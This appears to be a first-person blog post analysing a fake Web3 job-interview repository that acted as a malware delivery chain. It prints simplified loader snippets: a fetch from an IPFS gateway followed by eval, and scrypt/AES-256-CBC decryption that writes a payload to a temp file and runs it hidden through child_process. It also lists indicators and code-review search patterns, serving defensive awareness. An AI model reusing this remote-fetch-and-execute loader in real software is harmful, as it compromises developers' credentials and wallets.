He Thought It Was a Web3 Job Test. The Repository Was Actually a Malware Delivery Chain.
A real case involving Fiverr, Bitbucket, IPFS, obfuscated JavaScript, encrypted payloads, and a developer who came very close to running it.
A few days ago, a friend of mine, I will call him Sam, sent me a message.
He had been talking to someone on Fiverr about a Web3 development position.
At first, his question sounded routine:
“Can you take a look at this repository before I run it? Something about this guy feels strange.”
I asked him what had happened.
The story started normally enough.
The person contacting Sam said he was working on a decentralized prediction market built on Arbitrum. The project had a React frontend, a Node.js backend, a whitepaper, an AMM design, an oracle and resolution mechanism, and a roadmap toward smart contracts and an on-chain production system.
This was not a two-line scam message.
There were technical conversations.
There was a whitepaper.
There were questions about architecture.
There were follow-ups.
The person seemed to understand enough blockchain terminology to keep the conversation believable.
Eventually, he sent Sam a Bitbucket repository and asked him to review the existing MVP.
Still believable.
Then something changed.
The sender became increasingly interested in one particular thing:
He wanted Sam to run the code.
Sam said he would review the project after they agreed on a paid technical consultation.
The sender rejected that idea.
He said it was still part of the hiring process.
Then he told Sam:
“I want to know your skill level and you are serious on this project.”
And when Sam still refused, the sender pushed again.
That was when Sam sent the repository to me.
He never ran it.
That decision may have saved him from a serious compromise.

It did not look like malware
This is probably the most important part of the story.
If somebody sends you:
malware.exe
you know what you are dealing with.
But this was not an executable.
It was a Web3 project.
The social engineering looked like this:
🟢 Fiverr contact
↓
🟢 Serious Web3 project description
↓
🟢 Professional whitepaper
↓
🟢 Technical questions
↓
🟢 Bitbucket repository
↓
🟡 "Please review the MVP"
↓
🟠 "You need to run it"
↓
🔴 Malware execution
That is a much smarter attack.
The attacker does not ask:
“Would you please execute this malware?”
He asks:
“Can you run our project so I can evaluate you as a developer?”
The victim supplies the execution willingly.
This general technique is not new. Palo Alto Networks Unit 42 has documented a campaign it calls Contagious Interview, where attackers pose as employers and use fake technical interviews to convince software developers to install malware.
What interested me was how closely Sam’s experience followed the psychology of that kind of attack.
We treated the repository like evidence, not like a project
I did not clone it and start experimenting.
I did not run:
npm install
npm start
I did not connect a wallet.
I did not open it inside my normal development environment and start clicking around.
Instead, we downloaded the repository as an archive and started with static inspection.
The first checks were the obvious ones:
| What we checked | Result |
|---|---|
| Executable binaries | Nothing obvious |
| ZIP path traversal | Nothing obvious |
| Symbolic-link tricks | Nothing obvious |
.vscode/tasks.json |
Not present |
Suspicious preinstall / postinstall |
No obvious trigger |
| Shell launchers | Nothing obvious |
| Strange native modules | Nothing immediately alarming |
At this point, someone could easily have concluded:
“Looks okay.”
But that would have been a mistake.
The malicious behavior was not hidden in an executable.
It was hidden in the application’s normal code path.
The file that changed the investigation
Inside the backend was a file with a very ordinary name:
backend/routes/FetchAPI.js
That sounds harmless.
It could be a utility.
It could be a test.
It could be something the developer forgot to remove.
Then we looked at what it actually did.
In simplified form:
const response = await fetch(
"https://...mypinata.cloud/ipfs/<CID>"
);
const data = await response.json();
eval(data.model);
The line that mattered was:
eval(data.model);
That means:
Download JavaScript from somewhere else, then execute it inside the current Node.js process.
At this point, we already had enough reason to say:
Do not run this repository.
But I wanted to know what it was actually trying to do.
So the investigation continued.
One attack, three hidden layers
The design turned out to have three distinct layers.
🟦 Layer 1: The innocent-looking project
The Bitbucket repository is the social wrapper and first-stage loader.
Most of it can look completely legitimate:
React frontend
Node/Express backend
market routes
positions
orders
API handlers
project documentation
Only a tiny piece needs to be malicious.
Its job is simply:
Fetch remote payload
↓
Execute remote payload
This is clever because code reviewers may spend most of their time looking at the actual application.
🟪 Layer 2: The IPFS payload
The repository did not contain the real second-stage logic.
Instead, it fetched it from IPFS through a Pinata gateway.
We downloaded that object manually without executing it.
It was valid JSON:
{
"model": "<24809 characters of JavaScript>"
}
The payload file was about 24.8 KB.
Its SHA-256 was:
f1936df0062842a491489521f50d6893834751a96b439b5f553f0b3f8c80a11b
The model field was heavily obfuscated.
It used techniques such as:
string tables
hexadecimal arithmetic
runtime string decoding
Base64
RC4-like decoding logic
indirect function calls
meaningless identifiers
control-flow noise
This was clearly not a normal API response.
🟥 Layer 3: The payload behind the payload
The IPFS script was still not the final malware.
After deobfuscating the important execution path, we found that its purpose was to contact another remote server, receive an encrypted payload, decrypt it, write it into the operating system’s temporary directory, and execute it using Node.
So the actual architecture looked like this:
🟢 Fiverr conversation
↓
🟦 Bitbucket repository
↓
🟦 FetchAPI.js
↓
🟪 IPFS / Pinata
↓
🟪 Obfuscated JavaScript
↓
🟥 Attacker C2
↓
🟥 Encrypted Stage 3
↓
🔴 Decrypt
↓
🔴 Write temporary file
↓
☠️ Execute with Node
That is a much more sophisticated structure than hiding one malicious JavaScript file inside a repository.
The technical autopsy
Once we had the IPFS object safely downloaded as data, we could study it without evaluating the model field.
The loader contained access to Node capabilities equivalent to:
const os = require("os");
const fs = require("fs");
const path = require("path");
const crypto = require("crypto");
const childProcess = require("child_process");
Think about what that combination means.
os gives information about the machine.
fs gives filesystem access.
path helps locate and construct files.
crypto allows encryption and decryption.
child_process allows the JavaScript to start other processes and commands.
The script also prepared additional network functionality, including packages such as:
axios
socket.io-client
The next stage contacted external infrastructure using an endpoint shaped like:
/api/service/<campaign-id>
The response was not plain source code.
It was encrypted.
The data followed a structure conceptually similar to:
<Base64 IV>:<Base64 ciphertext>
The script then derived a 32-byte key with a construction equivalent to:
crypto.scryptSync(campaignId, "salt", 32)
and decrypted the payload using:
AES-256-CBC
After decryption, it wrote the result into a temporary file.
In the sample we analyzed, the temporary filename was:
wct1ECFA.tmp
Then the loader executed it through Node.
Conceptually:
fs.writeFileSync(tempPath, decryptedPayload);
childProcess.execSync(
"node " + filename,
{
cwd: os.tmpdir(),
windowsHide: true
}
);
The windowsHide option is relevant primarily on Windows, but it tells us something important about the author’s intention.
The process is supposed to run quietly.
The victim is not supposed to see a terminal suddenly opening and announcing:
“Hello, I am now running malware.”
The hidden strategy becomes clear
When we put everything together, there were several layers of concealment.
| Concealment technique | Why it matters |
|---|---|
| Real-looking Web3 application | Makes the repository believable |
| Small loader hidden among normal code | Makes casual review harder |
| Remote IPFS payload | Keeps malicious logic outside Bitbucket |
| Obfuscated JavaScript | Slows static analysis |
| Separate C2 server | Separates loader from final payload |
| Encrypted Stage 3 | Prevents easy network/content inspection |
| Temporary-file execution | Keeps final stage transient |
| Social pressure | Encourages the victim to execute it voluntarily |
That final row matters as much as the code.
Without the social engineering, the malware does not run.
The human is part of the execution chain.
Gitpod made the situation even more interesting
There was another file in the repository:
.gitpod.yml
Its configuration included the equivalent of:
init: npm install
command: npm start
This matters because someone might think:
“I don’t trust this project on my laptop. I’ll just open it in Gitpod.”
That sounds safer.
But from the attacker’s perspective, Gitpod can also automate the exact workflow they want:
In this specific case, running it in a cloud workspace might reduce direct exposure of the victim’s laptop, depending on the environment and credentials present.
But it does not make the code benign.
And there is another complication.
Closely matching malware studied by JFrog explicitly checked for environments such as:
DOCKER
CODESPACE_NAME
AWS_EXECUTION_ENV
GOOGLE_CLOUD_PROJECT
AZURE_FUNCTIONS_ENVIRONMENT
and other hosted or sandbox-like indicators.
In other words, malware can behave differently when it believes researchers are watching.
Would Docker have protected Sam?
This deserves a careful answer.
Docker would have been better than running it directly on his Mac, but Docker is not automatically a safe malware laboratory.
A container commonly shares the host kernel.
And developers often expose sensitive host resources to containers without thinking about the consequences.
For example:
🔴 ~/.ssh
🔴 ~/.aws
🔴 project .env files
🔴 SSH agent
🔴 source directories
🔴 Docker socket
🔴 cloud credentials
If any of those are mounted or forwarded into the container, malicious code may be able to reach them.
The Docker socket is particularly dangerous. A container with access to it may effectively gain significant control over the Docker host.
So this:
Suspicious code + Docker
does not automatically equal:
Safe
For deliberate dynamic malware analysis, I would rather use a disposable virtual machine with no personal credentials, no wallets, no host folders, no shared clipboard, no SSH agent, controlled networking, and a snapshot that can be destroyed afterward.
And even then, malware may detect the environment and intentionally hide its real behavior.
What was Stage 3 supposed to do?
Here I want to be precise.
We recovered the loader logic that would request, decrypt and execute Stage 3.
We did not recover the exact Stage 3 served to Sam, because the remote infrastructure was no longer responding when we investigated it.
That means I cannot honestly write:
“I proved that Sam’s exact payload stole MetaMask wallets.”
I did not.
But we found something important.
In June 2026, JFrog Security Research published an analysis of Lazarus-linked npm malware with an unusually similar architecture.
Their sample:
checked analysis/cloud environments
↓
installed axios + socket.io-client
↓
called /api/service/<identifier>
↓
received IV:ciphertext
↓
used scrypt with "salt"
↓
decrypted with AES-256-CBC
↓
wrote a temporary payload
↓
executed it through Node
JFrog was able to retrieve the later stage while its server was still active.
The final system they recovered contained four major components:
| Component | Capability |
|---|---|
| 🟥 Remote-access module | Command execution and machine control |
| 🟧 Browser/wallet collector | Browser data and crypto-wallet related data |
| 🟨 File collector | Searches for potentially sensitive files |
| 🟪 Clipboard monitor | Collects clipboard content |
Their investigation also found targeting of developer-related material and browser or wallet information.
I am deliberately saying closely matching here.
Similar code and architecture are strong evidence of a relationship or shared tooling, but they are not enough for me to declare that Sam’s attacker was definitely the same operator or definitely Lazarus.
Attribution requires more than pattern matching.
Why developers are such valuable targets
Imagine compromising the average home computer.
Now compare it with compromising a senior developer’s workstation.
A developer machine might contain:
SSH keys
GitHub credentials
GitLab tokens
npm tokens
AWS credentials
Azure credentials
database passwords
API keys
.env files
source code
CI/CD credentials
production access
Now add Web3.
You may also find:
wallet extensions
deployment wallets
private signing material
exchange API keys
RPC credentials
smart contract admin access
trading infrastructure
DeFi bot credentials
That is why the attacker is willing to spend time talking about architecture.
The target may be extremely valuable.
Why the attack almost worked
The genius of this attack is not AES.
It is not JavaScript obfuscation.
It is not IPFS.
It is context.
The request to run the code makes sense inside a developer interview.
Imagine someone telling you:
“We are hiring you as technical lead. Here is our MVP. Please run it and tell us what you think.”
That sounds reasonable.
Then imagine refusing and hearing:
“I need to know your skill level.”
Now professional pressure enters the equation.
The candidate may begin wondering:
“Am I being too cautious?”
“Will I lose the opportunity?”
“Maybe this is normal.”
That is the vulnerability being exploited.
Not Node.js.
Not macOS.
Not VS Code.
The first vulnerability is trust.
This is not only a Fiverr problem
Sam encountered this person through Fiverr.
I have also heard similar stories from people dealing with supposed opportunities through LinkedIn and other job platforms.
That does not mean Fiverr, LinkedIn, GitHub, Bitbucket or any particular platform is the attack.
The attacker simply goes where developers are looking for work.
Unit 42 has documented fake recruiters approaching developers through job-related channels as part of the Contagious Interview campaign.
The platform changes.
The pattern stays remarkably similar:
🟢 Opportunity
↓
🟢 Conversation
↓
🟢 Trust
↓
🟡 Technical task
↓
🟠 Untrusted code
↓
🔴 Execution
The complete chain
This is how the incident looked after the investigation:
What we proved, and what we did not
This distinction matters to me because security writing should not become fear marketing.
🟢 Directly established from the material we examined
| Finding | Confidence |
|---|---|
| Repository downloads code from IPFS | ✅ Confirmed |
Remote JSON contains executable model |
✅ Confirmed |
Repository calls eval(data.model) |
✅ Confirmed |
| IPFS JavaScript is heavily obfuscated | ✅ Confirmed |
| Stage 2 accesses OS/filesystem/process/network capabilities | ✅ Confirmed |
| Stage 2 contacts another server | ✅ Confirmed |
| Next payload is encrypted | ✅ Confirmed |
Key derivation uses scrypt |
✅ Confirmed |
| Payload uses AES-256-CBC | ✅ Confirmed |
| Decrypted data is written to a temp file | ✅ Confirmed |
| Temp payload is executed with Node | ✅ Confirmed |
🟡 Supported by highly similar independently analyzed malware
| Capability | Status |
|---|---|
| Remote-access functionality | Strongly supported |
| Browser collection | Strongly supported |
| Crypto-wallet targeting | Strongly supported |
| Developer-secret collection | Strongly supported |
| Clipboard monitoring | Strongly supported |
🔴 Not directly recovered from Sam’s exact chain
| Unknown | Why |
|---|---|
| Exact final Stage 3 contents | C2 was unavailable |
| Exact data it would steal from Sam’s Mac | Final payload not recovered |
| Definitive threat-actor attribution | Requires stronger attribution evidence |
That is the line I would keep clear if discussing this publicly.
Indicators from this investigation
For technical readers and defenders:
| Type | Indicator |
|---|---|
| IPFS payload format | JSON with a model property |
model length |
24,809 characters |
| IPFS payload SHA-256 | f1936df0062842a491489521f50d6893834751a96b439b5f553f0b3f8c80a11b |
| Execution primitive | eval(data.model) |
| Network pattern | /api/service/<campaign-id> |
| Additional libraries | axios, socket.io-client |
| Key derivation | scrypt |
| Cipher | AES-256-CBC |
| Temporary filename observed | wct1ECFA.tmp |
| Final execution | Node.js child process |
| Repository automation | .gitpod.yml with install/start workflow |
For publication, I would defang any live IP addresses, domains or URLs.
What I would do when somebody sends me an interview repository

My rule is simple now:
Useful search targets include:
eval(
new Function
child_process
exec(
execSync(
spawn(
fetch(
axios
curl
wget
base64
crypto
/tmp
os.tmpdir()
None of these is automatically malicious.
Context matters.
But this is where I would start looking.
The ending I did not expect
After Sam refused to run the repository, the sender tried to frame the refusal as a question of competence.
That is probably my favourite part of this whole story.
He wanted Sam to prove that he was technically capable.
Sam proved it.
He just did it by not running the code.
Sometimes the best security decision you make all day is the command you decide not to type.
Final thought
The most dangerous job scams no longer have to look like scams.
They can have:
🟢 a realistic product
🟢 a whitepaper
🟢 knowledgeable technical conversation
🟢 a working frontend
🟢 a backend
🟢 a repository on a respected platform
and still contain:
🔴 one execution path designed to compromise the developer reviewing it.
So when someone sends you code during a hiring process, do not ask only:
“Does this company look legitimate?”
Ask:
“What exactly happens when this code runs?”
Those are two completely different security questions.
And in Sam’s case, that difference mattered.
References for the technical comparison
- Palo Alto Networks Unit 42, Contagious Interview: fake employers targeting software developers through malicious recruitment processes.
- JFrog Security Research, June 2026: analysis of Lazarus-linked npm malware with environment checks,
axiosandsocket.io-clientinstallation,/api/service/<id>requests,scryptkey derivation, AES-256-CBC decryption, temporary payload execution, remote-access components, browser and wallet collection, filesystem collection, and clipboard monitoring.